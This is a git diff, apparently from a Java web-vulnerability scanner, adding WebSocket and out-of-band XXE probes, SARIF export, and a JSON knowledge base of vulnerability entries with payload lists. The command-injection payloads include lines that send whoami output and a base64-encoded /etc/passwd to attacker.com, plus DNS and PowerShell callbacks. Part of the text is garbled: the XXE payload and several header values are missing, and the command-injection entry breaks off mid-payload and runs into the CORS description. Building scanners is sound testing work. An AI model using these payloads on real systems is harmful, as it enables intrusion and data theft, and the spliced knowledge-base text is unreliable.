+ } + + private static String truncate(String s, int max) { + if (s.length() <= max) { + return s; + } + return s.substring(0, max) + "..."; + } + + /** Minimal WebSocket listener that collects received text and binary data. */ + private static class CollectingListener implements WebSocket.Listener { + + private final StringBuilder buffer = new StringBuilder(); + + @Override + public CompletionStage onText(WebSocket webSocket, CharSequence data, boolean last) { + synchronized (buffer) { + buffer.append(data); + } + webSocket.request(1); + return CompletableFuture.completedFuture(null); + } + + @Override + public CompletionStage onBinary(WebSocket webSocket, ByteBuffer data, boolean last) { + synchronized (buffer) { + buffer.append("[binary: ").append(data.remaining()).append(" bytes]"); + } + webSocket.request(1); + return CompletableFuture.completedFuture(null); + } + + @Override + public CompletionStage onPing(WebSocket webSocket, ByteBuffer message) { + webSocket.request(1); + return CompletableFuture.completedFuture(null); + } + + @Override + public CompletionStage onPong(WebSocket webSocket, ByteBuffer message) { + webSocket.request(1); + return CompletableFuture.completedFuture(null); + } + + @Override + public void onOpen(WebSocket webSocket) { + webSocket.request(1); + } + + @Override + public CompletionStage onClose(WebSocket webSocket, int statusCode, String reason) { + return CompletableFuture.completedFuture(null); + } + + @Override + public void onError(WebSocket webSocket, Throwable error) { + // Suppress -- errors are expected in security probing + } + + String collectedData() { + synchronized (buffer) { + return buffer.toString(); + } + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java b/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java index 785cbeb..503a598 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/xxe/XxeModule.java @@ -4,6 +4,8 @@ import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.oast.OastCorrelator; +import gg.effront.anarcry.scanner.oast.OastPayload; import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.CircuitBreakerException; import gg.effront.anarcry.scanner.util.TlsUtil; @@ -114,6 +116,20 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio CWE_ID, CWE_TITLE, VECTOR_SSRF, SCORE_SSRF)); break; } + + // Probe 3: OOB XXE via OAST -- external DTD callback + OastCorrelator oast = ctx.oastCorrelator(); + if (oast != null && !oast.callbackBaseUrl().isEmpty()) { + String payloadId = OastCorrelator.generatePayloadId(); + String callbackUrl = oast.callbackUrl(payloadId); + String xxeOob = "\n" + + "]>\n" + + "&xxe;"; + oast.registerPayload( + new OastPayload(payloadId, id(), path, "xml-body", xxeOob, System.currentTimeMillis())); + sendXml(ctx, hc, url, xxeOob); + log.accept("[~] XXE: OOB payload injetado em " + path + " (payload " + payloadId + ")"); + } } } diff --git a/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java b/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java index 123f837..51a5160 100644 --- a/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java +++ b/src/main/java/gg/effront/anarcry/tui/AnarCryTui.java @@ -784,6 +784,10 @@ private void showExportMenu() { dialog.close(); exportJson(snapshot); }); + actions.addItem("[5] SARIF (CI/CD)", () -> { + dialog.close(); + exportSarif(snapshot); + }); panel.addComponent(actions); panel.addComponent(new EmptySpace(new TerminalSize(1, 1))); @@ -814,6 +818,10 @@ public void onInput(Window w2, KeyStroke ks, AtomicBoolean deliver) { dialog.close(); exportJson(snapshot); deliver.set(false); + } else if (c == '5') { + dialog.close(); + exportSarif(snapshot); + deliver.set(false); } } } @@ -908,6 +916,17 @@ private void exportJson(List snapshot) { } } + private void exportSarif(List snapshot) { + String target = modulesPanel.getTarget(); + try { + String file = new ReportEngine().exportSarif(snapshot, target.isBlank() ? "unknown" : target, + scanRunner.testedModules(), scanRunner.testedClean()); + addToLog("[+] SARIF report: " + file); + } catch (Throwable t) { + addToLog("[!] SARIF export error: " + t.getClass().getSimpleName() + ": " + t.getMessage()); + } + } + private void addToLog(String msg) { logHistory.add(msg); LogPanel lp = currentLog.get(); diff --git a/src/main/java/gg/effront/anarcry/tui/chrome/ActionPalette.java b/src/main/java/gg/effront/anarcry/tui/chrome/ActionPalette.java index f7c8617..cac2dbb 100644 --- a/src/main/java/gg/effront/anarcry/tui/chrome/ActionPalette.java +++ b/src/main/java/gg/effront/anarcry/tui/chrome/ActionPalette.java @@ -21,7 +21,7 @@ public class ActionPalette { new String[]{"F3", "DASHBOARD mode -- session summary"}, new String[]{"F4", "REPEATER mode -- request/response"}, new String[]{"F5", "NOTES mode -- scratchpad"}, new String[]{"F6", "REPORT mode -- export panel"}, - new String[]{"E", "Export menu (AnarCry / H1 / Bugcrowd / JSON)"}, + new String[]{"E", "Export menu (AnarCry / H1 / Bugcrowd / JSON / SARIF)"}, new String[]{"?", "Open this action palette"}, new String[]{"q", "Quit application"}); public static void show(WindowBasedTextGUI gui) { diff --git a/src/main/java/gg/effront/anarcry/tui/panels/ModulesPanel.java b/src/main/java/gg/effront/anarcry/tui/panels/ModulesPanel.java index 3d54fcf..42569ab 100644 --- a/src/main/java/gg/effront/anarcry/tui/panels/ModulesPanel.java +++ b/src/main/java/gg/effront/anarcry/tui/panels/ModulesPanel.java @@ -64,6 +64,16 @@ public class ModulesPanel extends Panel { private final CheckBox xssCheck; private final CheckBox lfiCheck; private final CheckBox cmdInjectionCheck; + private final CheckBox csrfCheck; + private final CheckBox secretsCheck; + private final CheckBox raceConditionCheck; + private final CheckBox nosqliCheck; + private final CheckBox deserializationCheck; + private final CheckBox fileUploadCheck; + private final CheckBox subTakeoverCheck; + private final CheckBox webSocketCheck; + private final CheckBox protoPollutionCheck; + private final CheckBox cloudMisconfigCheck; private final CheckBox exploitationCheck; private final PasteableTextBox targetBox; private final PasteableTextBox jwtTokenBox; @@ -133,6 +143,26 @@ public ModulesPanel(int width, LogPanel logPanel, FindingsPanel findingsPanel, S lfiCheck.setChecked(true); cmdInjectionCheck = new CheckBox("CmdInjection"); cmdInjectionCheck.setChecked(true); + csrfCheck = new CheckBox("CSRF"); + csrfCheck.setChecked(true); + secretsCheck = new CheckBox("Secrets"); + secretsCheck.setChecked(true); + raceConditionCheck = new CheckBox("RaceCondition"); + raceConditionCheck.setChecked(false); + nosqliCheck = new CheckBox("NoSQLi"); + nosqliCheck.setChecked(true); + deserializationCheck = new CheckBox("Deserialization"); + deserializationCheck.setChecked(true); + fileUploadCheck = new CheckBox("FileUpload"); + fileUploadCheck.setChecked(false); + subTakeoverCheck = new CheckBox("SubTakeover"); + subTakeoverCheck.setChecked(true); + webSocketCheck = new CheckBox("WebSocket"); + webSocketCheck.setChecked(true); + protoPollutionCheck = new CheckBox("ProtoPollution"); + protoPollutionCheck.setChecked(true); + cloudMisconfigCheck = new CheckBox("CloudMisconfig"); + cloudMisconfigCheck.setChecked(true); Label reconLabel = new Label("── RECON ───────────────"); reconLabel.setForegroundColor(com.googlecode.lanterna.TextColor.ANSI.CYAN); @@ -171,6 +201,16 @@ public ModulesPanel(int width, LogPanel logPanel, FindingsPanel findingsPanel, S addComponent(xssCheck); addComponent(lfiCheck); addComponent(cmdInjectionCheck); + addComponent(csrfCheck); + addComponent(secretsCheck); + addComponent(raceConditionCheck); + addComponent(nosqliCheck); + addComponent(deserializationCheck); + addComponent(fileUploadCheck); + addComponent(subTakeoverCheck); + addComponent(webSocketCheck); + addComponent(protoPollutionCheck); + addComponent(cloudMisconfigCheck); addComponent(idorCheck); addComponent(new EmptySpace(new TerminalSize(1, 1))); @@ -414,6 +454,36 @@ private void onStart() { if (cmdInjectionCheck.isChecked()) { modules.add("CmdInjection"); } + if (csrfCheck.isChecked()) { + modules.add("CSRF"); + } + if (secretsCheck.isChecked()) { + modules.add("Secrets"); + } + if (raceConditionCheck.isChecked()) { + modules.add("RaceCondition"); + } + if (nosqliCheck.isChecked()) { + modules.add("NoSQLi"); + } + if (deserializationCheck.isChecked()) { + modules.add("Deserialization"); + } + if (fileUploadCheck.isChecked()) { + modules.add("FileUpload"); + } + if (subTakeoverCheck.isChecked()) { + modules.add("SubTakeover"); + } + if (webSocketCheck.isChecked()) { + modules.add("WebSocket"); + } + if (protoPollutionCheck.isChecked()) { + modules.add("ProtoPollution"); + } + if (cloudMisconfigCheck.isChecked()) { + modules.add("CloudMisconfig"); + } if (modules.isEmpty()) { logPanel.log("[!] Nenhum módulo selecionado"); diff --git a/src/main/resources/knowledge_base.json b/src/main/resources/knowledge_base.json index b0cd80e..f40ad55 100644 --- a/src/main/resources/knowledge_base.json +++ b/src/main/resources/knowledge_base.json @@ -1,2542 +1,2996 @@ { - "cache_poisoning": { - "title": "Web Cache Poisoning", - "module": "CachePoisoning", - "severity": "HIGH", - "cweId": "CWE-524", - "cweTitle": "Use of Cache Containing Sensitive Information", - "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", - "vrtId": "server_security_misconfiguration.web_cache_poisoning", - "summary": "Unkeyed headers or parameters reflected in cached responses allow an attacker to poison the cache, causing all subsequent visitors to the affected URL to receive malicious content such as XSS payloads, redirects, or injected scripts.", - "description": "CDNs, reverse proxies, and framework-level caches store responses to reduce latency. The cache key typically includes the HTTP method, host, path, and query string, but excludes headers like `X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Forwarded-Proto`, `X-Original-URL`, and `X-Forwarded-Prefix`. If the application uses any of these unkeyed inputs to generate links, redirects, or page content, an attacker can inject malicious values that get stored in the cache and served to every subsequent visitor.\n\nVariants include:\n\n- **Unkeyed header poisoning:** `X-Forwarded-Host: evil.com` reflected in canonical links or resource URLs.\n- **Unkeyed parameter/query poisoning:** A parameter excluded from the cache key (e.g., `?utm_source=`) is reflected in the response body.\n- **Fat GET:** A body sent with a GET request is processed by the application but ignored by the cache key.\n- **Parameter cloaking:** Differential parsing between proxy and back-end (e.g., `?cb=1&utm=evil` vs `?cb=1%26utm=evil`).\n- **Cache deception:** The cache stores an authenticated response under a public URL by appending a static extension (`.css`, `.jpg`).\n- **Host header + cache:** Combination with Host Header Injection to poison cached redirects.\n- **Response splitting + cache:** CRLF injection to insert attacker-controlled headers or body into a cached response.\n\nThe attack is especially severe when the poisoned response is served on a high-traffic page such as the homepage or login path, amplifying the blast radius across all visitors.", - "impact": "- Stored XSS in cache, affecting every user who visits the poisoned path.\n- Mass redirection to phishing or malware distribution sites.\n- Distribution of falsified content and misinformation.\n- Leakage of authenticated responses via cache deception.\n- Denial of service and cache corruption.\n- Severity: HIGH; escalates to CRITICAL if the poisoned path is a login page, admin panel, or exposes session tokens.", - "payloads": [ - "GET /?cb=1337 HTTP/1.1", - "Host: alvo.com", - "X-Forwarded-Host: evil.com", - "GET /?cb=1337 HTTP/1.1", - "Host: alvo.com", - "X-Forwarded-Scheme: nothttps", - "X-Forwarded-Proto: http", - "GET /?cb=1337 HTTP/1.1", - "Host: alvo.com", - "X-Original-URL: /admin", - "X-Rewrite-URL: /admin", - "X-Forwarded-Prefix: /evil", - "# Headers não-keyed comuns", - "X-Forwarded-Host: evil.com", - "X-Forwarded-Scheme: nothttps", - "X-Forwarded-Proto: http", - "X-Forwarded-Port: 443", - "X-Forwarded-Prefix: /evil", - "X-Original-URL: /admin", - "X-Rewrite-URL: /admin", - "X-Host: evil.com", - "X-Forwarded-Server: evil.com", - "Forwarded: host=evil.com", - "# Cache busters para não envenenar a entrada real durante testes", - "?cb=1337", - "?cachebust=abc123", - "?utm_source=test", - "# Fat GET", - "GET /?cb=1 HTTP/1.1", - "Host: alvo.com", - "Content-Length: 38", - "utm_source=", - "# Parameter cloaking / parser diferencial", - "?cb=1&utm=evil", - "?cb=1%26utm=evil", - "?cb=1;utm=evil", - "?cb=1&utm=evil&utm=good", - "GET /login?cb=1337 HTTP/1.1", - "Host: alvo.com", - "X-Forwarded-Host: evil.com", - "# Resposta cacheada:", - "HTTP/1.1 301 Moved Permanently", - "Location: https://evil.com/login", - "https://alvo.com/account/profile.css", - "https://alvo.com/account/profile.jpg", - "https://alvo.com/account/profile%2ecss", - "https://alvo.com/account/profile.css?cb=1" - ], - "crawlerHints": { - "parameters": [ - "cb", - "cachebust", - "utm_*", - "lang", - "theme", - "callback", - "_", - "v" - ], - "paths": [ - "/", - "/login", - "/home", - "/search", - "/api/*", - "/assets/*", - "/static/*" - ] + "cache_poisoning": { + "title": "Web Cache Poisoning", + "module": "CachePoisoning", + "severity": "HIGH", + "cweId": "CWE-524", + "cweTitle": "Use of Cache Containing Sensitive Information", + "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", + "vrtId": "server_security_misconfiguration.web_cache_poisoning", + "summary": "Unkeyed headers or parameters reflected in cached responses allow an attacker to poison the cache, causing all subsequent visitors to the affected URL to receive malicious content such as XSS payloads, redirects, or injected scripts.", + "description": "CDNs, reverse proxies, and framework-level caches store responses to reduce latency. The cache key typically includes the HTTP method, host, path, and query string, but excludes headers like `X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Forwarded-Proto`, `X-Original-URL`, and `X-Forwarded-Prefix`. If the application uses any of these unkeyed inputs to generate links, redirects, or page content, an attacker can inject malicious values that get stored in the cache and served to every subsequent visitor.\n\nVariants include:\n\n- **Unkeyed header poisoning:** `X-Forwarded-Host: evil.com` reflected in canonical links or resource URLs.\n- **Unkeyed parameter/query poisoning:** A parameter excluded from the cache key (e.g., `?utm_source=`) is reflected in the response body.\n- **Fat GET:** A body sent with a GET request is processed by the application but ignored by the cache key.\n- **Parameter cloaking:** Differential parsing between proxy and back-end (e.g., `?cb=1&utm=evil` vs `?cb=1%26utm=evil`).\n- **Cache deception:** The cache stores an authenticated response under a public URL by appending a static extension (`.css`, `.jpg`).\n- **Host header + cache:** Combination with Host Header Injection to poison cached redirects.\n- **Response splitting + cache:** CRLF injection to insert attacker-controlled headers or body into a cached response.\n\nThe attack is especially severe when the poisoned response is served on a high-traffic page such as the homepage or login path, amplifying the blast radius across all visitors.", + "impact": "- Stored XSS in cache, affecting every user who visits the poisoned path.\n- Mass redirection to phishing or malware distribution sites.\n- Distribution of falsified content and misinformation.\n- Leakage of authenticated responses via cache deception.\n- Denial of service and cache corruption.\n- Severity: HIGH; escalates to CRITICAL if the poisoned path is a login page, admin panel, or exposes session tokens.", + "payloads": [ + "GET /?cb=1337 HTTP/1.1", + "Host: alvo.com", + "X-Forwarded-Host: evil.com", + "GET /?cb=1337 HTTP/1.1", + "Host: alvo.com", + "X-Forwarded-Scheme: nothttps", + "X-Forwarded-Proto: http", + "GET /?cb=1337 HTTP/1.1", + "Host: alvo.com", + "X-Original-URL: /admin", + "X-Rewrite-URL: /admin", + "X-Forwarded-Prefix: /evil", + "# Headers não-keyed comuns", + "X-Forwarded-Host: evil.com", + "X-Forwarded-Scheme: nothttps", + "X-Forwarded-Proto: http", + "X-Forwarded-Port: 443", + "X-Forwarded-Prefix: /evil", + "X-Original-URL: /admin", + "X-Rewrite-URL: /admin", + "X-Host: evil.com", + "X-Forwarded-Server: evil.com", + "Forwarded: host=evil.com", + "# Cache busters para não envenenar a entrada real durante testes", + "?cb=1337", + "?cachebust=abc123", + "?utm_source=test", + "# Fat GET", + "GET /?cb=1 HTTP/1.1", + "Host: alvo.com", + "Content-Length: 38", + "utm_source=", + "# Parameter cloaking / parser diferencial", + "?cb=1&utm=evil", + "?cb=1%26utm=evil", + "?cb=1;utm=evil", + "?cb=1&utm=evil&utm=good", + "GET /login?cb=1337 HTTP/1.1", + "Host: alvo.com", + "X-Forwarded-Host: evil.com", + "# Resposta cacheada:", + "HTTP/1.1 301 Moved Permanently", + "Location: https://evil.com/login", + "https://alvo.com/account/profile.css", + "https://alvo.com/account/profile.jpg", + "https://alvo.com/account/profile%2ecss", + "https://alvo.com/account/profile.css?cb=1" + ], + "crawlerHints": { + "parameters": [ + "cb", + "cachebust", + "utm_*", + "lang", + "theme", + "callback", + "_", + "v" + ], + "paths": [ + "/", + "/login", + "/home", + "/search", + "/api/*", + "/assets/*", + "/static/*" + ] + }, + "recommendation": "1. Include all headers that influence the response in the cache key (`Vary: X-Forwarded-Host, X-Forwarded-Proto`), or better yet, do not use client-supplied forwarding headers to generate content.\n2. Normalize and validate forwarding headers at the edge; discard client-supplied values.\n3. Never cache authenticated responses or responses containing `Set-Cookie`; use `Cache-Control: private, no-store` for user-specific data.\n4. Canonicalize URLs and query strings and reject unknown parameters; ensure the proxy and application use the same query parser.\n5. Disable fat GET or include the request body in the cache key; restrict cacheable methods to GET and HEAD.\n6. Apply cache deception protection: do not cache based on file extension alone; validate `Content-Type` and authentication state before caching.\n7. Configure the CDN to strip hop-by-hop headers and never trust `X-Original-URL` or `X-Rewrite-URL`.\n8. Example Nginx configuration:\n```nginx\nproxy_cache_key \"$scheme$request_method$host$request_uri\";\nproxy_ignore_headers X-Accel-Expires;\nproxy_hide_header X-Forwarded-Host;\nadd_header Vary \"X-Forwarded-Host, X-Forwarded-Proto\" always;\nproxy_cache_bypass $http_authorization $cookie_session;\n```\n9. Monitor for cache poisoning using canary tokens and alert on responses containing external hostnames.", + "notableCves": [] }, - "recommendation": "1. Include all headers that influence the response in the cache key (`Vary: X-Forwarded-Host, X-Forwarded-Proto`), or better yet, do not use client-supplied forwarding headers to generate content.\n2. Normalize and validate forwarding headers at the edge; discard client-supplied values.\n3. Never cache authenticated responses or responses containing `Set-Cookie`; use `Cache-Control: private, no-store` for user-specific data.\n4. Canonicalize URLs and query strings and reject unknown parameters; ensure the proxy and application use the same query parser.\n5. Disable fat GET or include the request body in the cache key; restrict cacheable methods to GET and HEAD.\n6. Apply cache deception protection: do not cache based on file extension alone; validate `Content-Type` and authentication state before caching.\n7. Configure the CDN to strip hop-by-hop headers and never trust `X-Original-URL` or `X-Rewrite-URL`.\n8. Example Nginx configuration:\n```nginx\nproxy_cache_key \"$scheme$request_method$host$request_uri\";\nproxy_ignore_headers X-Accel-Expires;\nproxy_hide_header X-Forwarded-Host;\nadd_header Vary \"X-Forwarded-Host, X-Forwarded-Proto\" always;\nproxy_cache_bypass $http_authorization $cookie_session;\n```\n9. Monitor for cache poisoning using canary tokens and alert on responses containing external hostnames.", - "notableCves": [] - }, - "command_injection": { - "title": "OS Command Injection", - "module": "CmdInjection", - "severity": "CRITICAL", - "cweId": "CWE-78", - "cweTitle": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - "vrtId": "injection.remote_code_execution.command_injection", - "summary": "User input is passed to an operating system shell without sanitization, enabling arbitrary command execution, file access, network pivoting, and full server compromise.", - "description": "Command injection occurs when the application constructs OS commands (`ping`, `nslookup`, `convert`, `ffmpeg`, `git`, `tar`, `curl`) by concatenating user-controlled input. Shell metacharacters (`;`, `|`, `&`, `` ` ``, `$()`, newline) allow chaining additional commands. Variants include:\n\n- **In-band:** command output is reflected in the HTTP response.\n- **Blind:** no output is returned; confirmation relies on time-based techniques (`sleep`) or out-of-band callbacks (DNS/HTTP).\n- **Argument injection:** no shell is invoked, but attacker-controlled flags or values alter the behavior of the target binary (e.g., `--output`, `-o`, `--config`).\n- **Second-order:** a stored payload is later interpolated into a command.\n\nLanguages and APIs commonly exploited include `Runtime.exec`, `ProcessBuilder`, `os.system`, `subprocess` with `shell=True`, `child_process.exec`, backticks, and `system()`.", - "impact": "- Remote code execution (RCE) on the server.\n- Arbitrary file read/write and data exfiltration.\n- Installation of backdoors, cryptominers, and persistent access.\n- Lateral movement and access to internal databases and services.\n- Denial of service and data destruction.\n- Severity: CRITICAL.", - "payloads": [ - "# Separadores básicos", - "; id", - "| id", - "|| id", - "& id", - "&& id", - "`id`", - "$(id)", - "%0aid", - "%0d%0aid", - "%7cid", - "%26id", - "# Contexto de host/URL", - "127.0.0.1; id", - "127.0.0.1|id", - "127.0.0.1||id", - "127.0.0.1&id", - "127.0.0.1&&id", - "127.0.0.1%0aid", - "127.0.0.1%0d%0aid", - "127.0.0.1`id`", - "127.0.0.1$(id)", - "# Blind/time-based", - "; sleep 5", - "| sleep 5", - "$(sleep 5)", - "`sleep 5`", - "127.0.0.1; sleep 5", - "# OOB", - "; curl http://attacker.com/$(whoami)", - "; nslookup $(whoami).attacker.com", - "; wget http://attacker.com/$(cat /etc/passwd | base64)", - "; powershell -c \"iwr http://attacker.com/$env:USERNAME\"", - "# Espaços alternativos", - "cat$IFS/etc/passwd", - "cat${IFS}/etc/passwd", - "cat%09/etc/passwd", - "cat`).\n- `Access-Control-Allow-Origin: *` is combined with `Allow-Credentials: true` (browsers block this, but proxies and non-browser clients do not).\n- Any subdomain is trusted (`*.target.com`) and a subdomain is vulnerable to takeover or XSS.\n- `Origin: null` is accepted with credentials (sandboxed iframes, `file://`, data URIs).\n- Origin validation uses `startsWith`, `endsWith`, or weak regex, allowing bypasses such as `https://target.com.evil.com`, `https://eviltarget.com`, or `https://target.com@evil.com`.\n- Sensitive methods (`PUT`, `DELETE`, `PATCH`) and authentication headers are permitted for untrusted origins.\n\nImpact depends on whether the endpoint returns sensitive data and whether the browser sends cookies (`credentials: include`). Without credentials, an attacker can still read data from APIs that use header-based tokens if the victim can be induced to execute the fetch.", - "impact": "- Cross-origin reading of authenticated data: profile information, email addresses, tokens, invoices, messages, and other users' data.\n- State-changing actions on behalf of the victim (email/password change, API key creation, resource transfers).\n- Account takeover when the endpoint exposes tokens or allows credential exchange.\n- Chaining with subdomain takeover or XSS to extend the attack surface.\n- Cross-tenant data leakage and regulatory compliance violations.", - "payloads": [ - "# Reflexão básica de Origin", - "curl -s -D - https://alvo.com/api/me \\", - " -H 'Origin: https://evil.com' \\", - " -H 'Cookie: session=' | grep -i 'access-control'", - "# Origem null", - "curl -s -D - https://alvo.com/api/me \\", - " -H 'Origin: null' \\", - " -H 'Cookie: session='", - "# Subdomínio controlado / lookalike", - "curl -s -D - https://alvo.com/api/me -H 'Origin: https://evil.alvo.com'", - "curl -s -D - https://alvo.com/api/me -H 'Origin: https://alvo.com.evil.com'", - "curl -s -D - https://alvo.com/api/me -H 'Origin: https://evilalvo.com'", - "curl -s -D - https://alvo.com/api/me -H 'Origin: https://alvo.com@evil.com'", - "curl -s -D - https://alvo.com/api/me -H 'Origin: http://alvo.com'", - "# Preflight", - "curl -s -X OPTIONS https://alvo.com/api/me \\", - " -H 'Origin: https://evil.com' \\", - " -H 'Access-Control-Request-Method: PUT' \\", - " -H 'Access-Control-Request-Headers: authorization,content-type' -D -", - "", - "Origin: https://alvo.com.evil.com", - "Origin: https://evil.com/alvo.com", - "Origin: https://alvo.com%2eevil.com", - "Origin: https://alvo.com:443.evil.com", - "Origin: https://alvo.com@evil.com", - "Origin: https://alvo.com#@evil.com", - "Origin: null", - "Origin: file://", - "Origin: https://sub.alvo.com # se subdomain takeover/XSS" - ], - "crawlerHints": { - "parameters": [ - "Origin", - "callback", - "redirect_uri", - "return_url" - ], - "paths": [ - "/api/*", - "/api/v1/user", - "/api/me", - "/graphql", - "/oauth/token", - "/admin/api/*" - ] + "cors_misconfiguration": { + "title": "CORS Misconfiguration", + "module": "CORS", + "severity": "HIGH", + "cweId": "CWE-942", + "cweTitle": "Permissive Cross-domain Policy with Untrusted Domains", + "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", + "vrtId": "broken_authentication_and_session_management.authentication_bypass.other", + "summary": "A CORS policy that reflects arbitrary origins or trusts compromised subdomains, combined with credentialed requests, allows a malicious site to read authenticated responses and perform actions on behalf of the victim.", + "description": "The Same-Origin Policy (SOP) prevents `https://evil.com` from reading responses from `https://target.com`. CORS relaxes this restriction through the `Access-Control-Allow-Origin` (ACAO), `Access-Control-Allow-Credentials` (ACAC), and `Access-Control-Allow-Methods/Headers` response headers. The configuration is insecure when:\n\n- The `Origin` request header is reflected without validation (`ACAO: `).\n- `Access-Control-Allow-Origin: *` is combined with `Allow-Credentials: true` (browsers block this, but proxies and non-browser clients do not).\n- Any subdomain is trusted (`*.target.com`) and a subdomain is vulnerable to takeover or XSS.\n- `Origin: null` is accepted with credentials (sandboxed iframes, `file://`, data URIs).\n- Origin validation uses `startsWith`, `endsWith`, or weak regex, allowing bypasses such as `https://target.com.evil.com`, `https://eviltarget.com`, or `https://target.com@evil.com`.\n- Sensitive methods (`PUT`, `DELETE`, `PATCH`) and authentication headers are permitted for untrusted origins.\n\nImpact depends on whether the endpoint returns sensitive data and whether the browser sends cookies (`credentials: include`). Without credentials, an attacker can still read data from APIs that use header-based tokens if the victim can be induced to execute the fetch.", + "impact": "- Cross-origin reading of authenticated data: profile information, email addresses, tokens, invoices, messages, and other users' data.\n- State-changing actions on behalf of the victim (email/password change, API key creation, resource transfers).\n- Account takeover when the endpoint exposes tokens or allows credential exchange.\n- Chaining with subdomain takeover or XSS to extend the attack surface.\n- Cross-tenant data leakage and regulatory compliance violations.", + "payloads": [ + "# Reflexão básica de Origin", + "curl -s -D - https://alvo.com/api/me \\", + " -H 'Origin: https://evil.com' \\", + " -H 'Cookie: session=' | grep -i 'access-control'", + "# Origem null", + "curl -s -D - https://alvo.com/api/me \\", + " -H 'Origin: null' \\", + " -H 'Cookie: session='", + "# Subdomínio controlado / lookalike", + "curl -s -D - https://alvo.com/api/me -H 'Origin: https://evil.alvo.com'", + "curl -s -D - https://alvo.com/api/me -H 'Origin: https://alvo.com.evil.com'", + "curl -s -D - https://alvo.com/api/me -H 'Origin: https://evilalvo.com'", + "curl -s -D - https://alvo.com/api/me -H 'Origin: https://alvo.com@evil.com'", + "curl -s -D - https://alvo.com/api/me -H 'Origin: http://alvo.com'", + "# Preflight", + "curl -s -X OPTIONS https://alvo.com/api/me \\", + " -H 'Origin: https://evil.com' \\", + " -H 'Access-Control-Request-Method: PUT' \\", + " -H 'Access-Control-Request-Headers: authorization,content-type' -D -", + "", + "Origin: https://alvo.com.evil.com", + "Origin: https://evil.com/alvo.com", + "Origin: https://alvo.com%2eevil.com", + "Origin: https://alvo.com:443.evil.com", + "Origin: https://alvo.com@evil.com", + "Origin: https://alvo.com#@evil.com", + "Origin: null", + "Origin: file://", + "Origin: https://sub.alvo.com # se subdomain takeover/XSS" + ], + "crawlerHints": { + "parameters": [ + "Origin", + "callback", + "redirect_uri", + "return_url" + ], + "paths": [ + "/api/*", + "/api/v1/user", + "/api/me", + "/graphql", + "/oauth/token", + "/admin/api/*" + ] + }, + "recommendation": "1. Use an explicit allowlist of exact origins (scheme + host + port); never use raw reflection or permissive regex.\n2. Do not combine `Access-Control-Allow-Origin: *` with credentials; for public APIs without credentials, `*` is acceptable.\n3. Reject `Origin: null` and unknown origins by responding without any CORS headers.\n4. Validate the origin on the server after full URL parsing, comparing the exact host; do not use `startsWith`/`endsWith`.\n5. Send `Vary: Origin` to prevent cache poisoning of CORS responses.\n6. Limit methods and headers to the minimum required; do not expose `Authorization` to untrusted origins.\n7. Prefer tokens in the `Authorization` header over cookies for cross-origin APIs; if cookies are used, require `SameSite=Lax/Strict` and a CSRF token.\n8. Spring example:\n```java\n@Bean\nCorsConfigurationSource corsConfigurationSource() {\n CorsConfiguration c = new CorsConfiguration();\n c.setAllowedOrigins(List.of(\"https://app.alvo.com\", \"https://admin.alvo.com\"));\n c.setAllowedMethods(List.of(\"GET\", \"POST\"));\n c.setAllowedHeaders(List.of(\"Content-Type\", \"Authorization\"));\n c.setAllowCredentials(true);\n UrlBasedCorsConfigurationSource s = new UrlBasedCorsConfigurationSource();\n s.registerCorsConfiguration(\"/api/**\", c);\n return s;\n}\n```\n9. Monitor subdomains and remove orphaned DNS records to prevent bypass via subdomain takeover.", + "notableCves": [] }, - "recommendation": "1. Use an explicit allowlist of exact origins (scheme + host + port); never use raw reflection or permissive regex.\n2. Do not combine `Access-Control-Allow-Origin: *` with credentials; for public APIs without credentials, `*` is acceptable.\n3. Reject `Origin: null` and unknown origins by responding without any CORS headers.\n4. Validate the origin on the server after full URL parsing, comparing the exact host; do not use `startsWith`/`endsWith`.\n5. Send `Vary: Origin` to prevent cache poisoning of CORS responses.\n6. Limit methods and headers to the minimum required; do not expose `Authorization` to untrusted origins.\n7. Prefer tokens in the `Authorization` header over cookies for cross-origin APIs; if cookies are used, require `SameSite=Lax/Strict` and a CSRF token.\n8. Spring example:\n```java\n@Bean\nCorsConfigurationSource corsConfigurationSource() {\n CorsConfiguration c = new CorsConfiguration();\n c.setAllowedOrigins(List.of(\"https://app.alvo.com\", \"https://admin.alvo.com\"));\n c.setAllowedMethods(List.of(\"GET\", \"POST\"));\n c.setAllowedHeaders(List.of(\"Content-Type\", \"Authorization\"));\n c.setAllowCredentials(true);\n UrlBasedCorsConfigurationSource s = new UrlBasedCorsConfigurationSource();\n s.registerCorsConfiguration(\"/api/**\", c);\n return s;\n}\n```\n9. Monitor subdomains and remove orphaned DNS records to prevent bypass via subdomain takeover.", - "notableCves": [] - }, - "crlf_injection": { - "title": "CRLF Injection / HTTP Response Splitting", - "module": "CRLF", - "severity": "MEDIUM", - "cweId": "CWE-113", - "cweTitle": "Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", - "vrtId": "cross_site_scripting_xss.reflected_xss", - "summary": "Injection of CR/LF sequences into headers or parameters enables crafting of forged HTTP headers and responses, leading to XSS, cache poisoning, session fixation, and security control bypass.", - "description": "The HTTP protocol uses `\\r\\n` to delimit headers and separate them from the body. When the application inserts user input into a response header (`Location`, `Set-Cookie`, `Content-Type`, `X-Forwarded-*`) or into any context interpreted as a header, an attacker can inject newline sequences to add arbitrary headers or even craft a complete response (HTTP response splitting).\n\nVariants include:\n- **Header injection:** `?lang=en%0d%0aSet-Cookie:admin=1`.\n- **Response splitting:** two consecutive CRLFs terminate the headers and 